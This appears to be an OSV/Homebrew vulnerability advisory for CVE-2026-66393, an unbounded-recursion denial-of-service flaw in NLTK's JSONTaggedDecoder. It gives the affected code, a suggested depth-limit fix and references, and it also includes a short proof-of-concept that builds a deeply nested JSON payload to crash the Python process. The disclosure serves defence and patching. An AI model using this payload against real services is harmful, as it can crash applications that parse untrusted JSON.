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brew-acronym-cve-2026-66393
Vulnerability from osv_homebrew
Published
2026-08-23 20:29
Modified
2026-09-09 23:40
Summary
Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS
Details

Summary

JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself recursively without any depth limit. A deeply nested JSON structure exceeding sys.getrecursionlimit() (default: 1000) will raise an unhandled RecursionError, crashing the Python process.

Affected code

File: nltk/jsontags.py, lines 47–52

@classmethod
def decode_obj(cls, obj):
    if isinstance(obj, dict):
        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}
    elif isinstance(obj, list):
        obj = list(cls.decode_obj(val) for val in obj)

Proof of Concept

import sys, json
from nltk.jsontags import JSONTaggedDecoder

depth = sys.getrecursionlimit() + 50  # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth

# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)

Impact

Any code path that passes externally-supplied JSON to JSONTaggedDecoder is vulnerable to denial of service. The severity depends on whether such a path exists in the calling code (e.g. nltk/data.py).

Suggested Fix

Add a depth parameter with a hard limit:

@classmethod
def decode_obj(cls, obj, _depth=0):
    if _depth > 100:
        raise ValueError("JSON nesting too deep")
    if isinstance(obj, dict):
        obj = {key: cls.decode_obj(val, _depth + 1) 
               for (key, val) in obj.items()}
    elif isinstance(obj, list):
        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)
Severity
5.1 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "nltk",
        "resource_purl": "pkg:pypi/nltk@3.10.3",
        "upstream_fixed_in": "3.9.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "acronym",
        "purl": "pkg:brew/acronym"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0_3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/nltk@3.10.3",
        "name": "nltk",
        "resource": "nltk",
        "strategy": "registry",
        "subject_version": "3.10.3"
      }
    ]
  },
  "details": "### Summary\n`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself \nrecursively without any depth limit. A deeply nested JSON structure \nexceeding `sys.getrecursionlimit()` (default: 1000) will raise an \nunhandled `RecursionError`, crashing the Python process.\n\n### Affected code\nFile: `nltk/jsontags.py`, lines 47\u201352\n```python\n@classmethod\ndef decode_obj(cls, obj):\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val) for val in obj)\n```\n\n### Proof of Concept\n```python\nimport sys, json\nfrom nltk.jsontags import JSONTaggedDecoder\n\ndepth = sys.getrecursionlimit() + 50  # e.g. 1050\npayload = \u0027{\"x\":\u0027 * depth + \"null\" + \"}\" * depth\n\n# Raises RecursionError, crashing the process\njson.loads(payload, cls=JSONTaggedDecoder)\n```\n\n### Impact\nAny code path that passes externally-supplied JSON to \n`JSONTaggedDecoder` is vulnerable to denial of service.\nThe severity depends on whether such a path exists in the \ncalling code (e.g. `nltk/data.py`).\n\n### Suggested Fix\nAdd a depth parameter with a hard limit:\n```python\n@classmethod\ndef decode_obj(cls, obj, _depth=0):\n    if _depth \u003e 100:\n        raise ValueError(\"JSON nesting too deep\")\n    if isinstance(obj, dict):\n        obj = {key: cls.decode_obj(val, _depth + 1) \n               for (key, val) in obj.items()}\n    elif isinstance(obj, list):\n        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)\n```",
  "id": "BREW-acronym-CVE-2026-66393",
  "modified": "2026-09-09T23:40:40Z",
  "published": "2026-08-23T20:29:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66393"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/00cdcd392142e6c745e7120c8d50a24127df5fad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3724.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS",
  "upstream": [
    "GHSA-rf74-v2fm-23pw",
    "CVE-2026-66393",
    "PYSEC-2026-3724"
  ]
}



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